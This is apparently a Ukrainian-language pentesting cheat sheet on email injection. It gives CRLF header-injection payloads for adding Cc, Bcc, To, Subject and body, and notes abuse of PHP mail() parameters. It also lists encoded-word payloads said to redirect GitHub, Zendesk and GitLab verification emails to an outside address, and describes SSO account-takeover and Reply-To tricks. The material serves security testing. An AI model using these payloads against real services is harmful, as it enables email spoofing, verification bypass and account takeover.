Email Injections

Reading time: 7 minutes

Впровадження в надіслане електронне повідомлення

Впровадження Cc та Bcc після аргументу відправника

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Повідомлення буде надіслано на облікові записи отримувача та отримувача1.

Впровадження аргументу

From:sender@domain.com%0ATo:attacker@domain.com

Повідомлення буде надіслано оригінальному отримувачу та обліковому запису зловмисника.

Вставити аргумент Subject

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Фальшива тема буде додана до оригінальної теми і в деяких випадках замінить її. Це залежить від поведінки поштового сервісу.

Змінити тіло повідомлення

Вставте два переводи рядка, а потім напишіть своє повідомлення, щоб змінити тіло повідомлення.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Експлуатація функції mail() PHP

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Параметр 5 ($additional_parameters)

Цей розділ буде базуватися на тому, як зловживати цим параметром, припускаючи, що зловмисник його контролює.

Цей параметр буде додано до командного рядка, який PHP буде використовувати для виклику бінарного файлу sendmail. Однак він буде очищений за допомогою функції escapeshellcmd($additional_parameters).

Зловмисник може впроваджувати додаткові параметри для sendmail в цьому випадку.

Відмінності в реалізації /usr/sbin/sendmail

sendmail інтерфейс надається програмним забезпеченням MTA для електронної пошти (Sendmail, Postfix, Exim тощо), встановленим на системі. Хоча базова функціональність (така як параметри -t -i -f) залишається такою ж з причин сумісності, інші функції та параметри значно варіюються в залежності від встановленого MTA.

Ось кілька прикладів різних сторінок man команди/інтерфейсу sendmail:

• Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
• Postfix MTA: http://www.postfix.org/mailq.1.html
• Exim MTA: https://linux.die.net/man/8/eximReferences

В залежності від походження бінарного файлу sendmail було виявлено різні опції для зловживання ними та витоку файлів або навіть виконання довільних команд. Перевірте, як це зробити в https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Впровадження в ім'я електронної пошти

Ігноровані частини електронної пошти

Символи: +, - та {} у рідкісних випадках можуть використовуватися для тегування та ігноруються більшістю поштових серверів.

• Наприклад, john.doe+intigriti@example.com → john.doe@example.com

Коментарі в дужках () на початку або в кінці також будуть ігноруватися.

• Наприклад, john.doe(intigriti)@example.com → john.doe@example.com

Обхід білого списку

Цитати

IP-адреси

Ви також можете використовувати IP-адреси як доменні імена в квадратних дужках:

• john.doe@[127.0.0.1]
• john.doe@[IPv6:2001:db8::1]

Кодування електронної пошти

Як пояснено в цьому дослідженні, імена електронної пошти також можуть містити закодовані символи:

• PHP 256 переповнення: Функція PHP chr буде продовжувати додавати 256 до символу, поки він не стане позитивним, а потім виконувати операцію %256.
• String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

Різні кодування:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

• Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com
• Зверніть увагу на закодований @ як =40, закодований > як =3e та null як =00
• Це надішле електронний лист для підтвердження на collab@psres.net
• Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
• Та ж сама хитрість, але з додаванням звичайної лапки на початку та закодованої лапки =22 перед закодованим @, а потім відкриттям і закриттям лапок перед наступною електронною адресою, щоб виправити синтаксис, що використовується всередині Zendesk
• Це надішле електронний лист для підтвердження на collab@psres.net
• Gitlab: =?x?q?collab=40psres.net_?=foo@example.com
• Зверніть увагу на використання підкреслення як пробілу для розділення адреси
• Це надішле електронний лист для підтвердження на collab@psres.net
• Punycode: Використовуючи Punycode, було можливим впровадити тег <style в Joomla і зловживати ним для викрадення CSRF токена через ексфільтрацію CSS.

Tooling

• Є скрипт Burp Suite Turbo Intruder для фуззингу таких комбінацій, щоб спробувати атакувати формати електронної пошти. Скрипт вже має потенційно робочі комбінації.
• Також можливо використовувати Hackvertor для створення атаки на розділення електронної пошти

Other vulns

Third party SSO

XSS

Деякі сервіси, такі як github або salesforce, дозволяють вам створювати електронну адресу з XSS payloads на ній. Якщо ви можете використовувати цих постачальників для входу в інші сервіси і ці сервіси не очищають електронну пошту належним чином, ви можете викликати XSS.

Account-Takeover

Якщо SSO сервіс дозволяє вам створити обліковий запис без перевірки наданої електронної адреси (як salesforce) і потім ви можете використовувати цей обліковий запис для входу в інший сервіс, який довіряє salesforce, ви можете отримати доступ до будь-якого облікового запису.
Зверніть увагу, що salesforce вказує, чи була надана електронна адреса перевірена, але так само програма повинна враховувати цю інформацію.

Reply-To

Ви можете надіслати електронний лист, використовуючи From: company.com і Replay-To: attacker.com, і якщо будь-яка автоматична відповідь буде надіслана через те, що електронний лист був надісланий з внутрішньої адреси, зловмисник може отримати цю відповідь.

Hard Bounce Rate

Деякі сервіси, такі як AWS, реалізують поріг, відомий як Hard Bounce Rate, зазвичай встановлений на 10%. Це критичний показник, особливо для сервісів доставки електронної пошти. Коли цей показник перевищується, сервіс, такий як електронна пошта AWS, може бути призупинений або заблокований.

Hard bounce відноситься до електронного листа, який був повернутий відправнику, оскільки адреса отримувача є недійсною або неіснуючою. Це може статися з різних причин, таких як електронна пошта, надіслана на неіснуючу адресу, домен, який не є реальним, або відмова сервера отримувача приймати електронні листи.

У контексті AWS, якщо ви надсилаєте 1000 електронних листів і 100 з них призводять до hard bounces (через причини, такі як недійсні адреси або домени), це означатиме 10% hard bounce rate. Досягнення або перевищення цього показника може призвести до блокування або призупинення можливостей надсилання електронної пошти AWS SES (Simple Email Service).

Важливо підтримувати низький показник hard bounce rate, щоб забезпечити безперебійну службу електронної пошти та підтримувати репутацію відправника. Моніторинг і управління якістю електронних адрес у ваших списках розсилки можуть значно допомогти в досягненні цього.

Для отримання більш детальної інформації можна звернутися до офіційної документації AWS щодо обробки відмов і скарг AWS SES Bounce Handling.

References

• https://resources.infosecinstitute.com/email-injection/
• https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
• https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
• https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0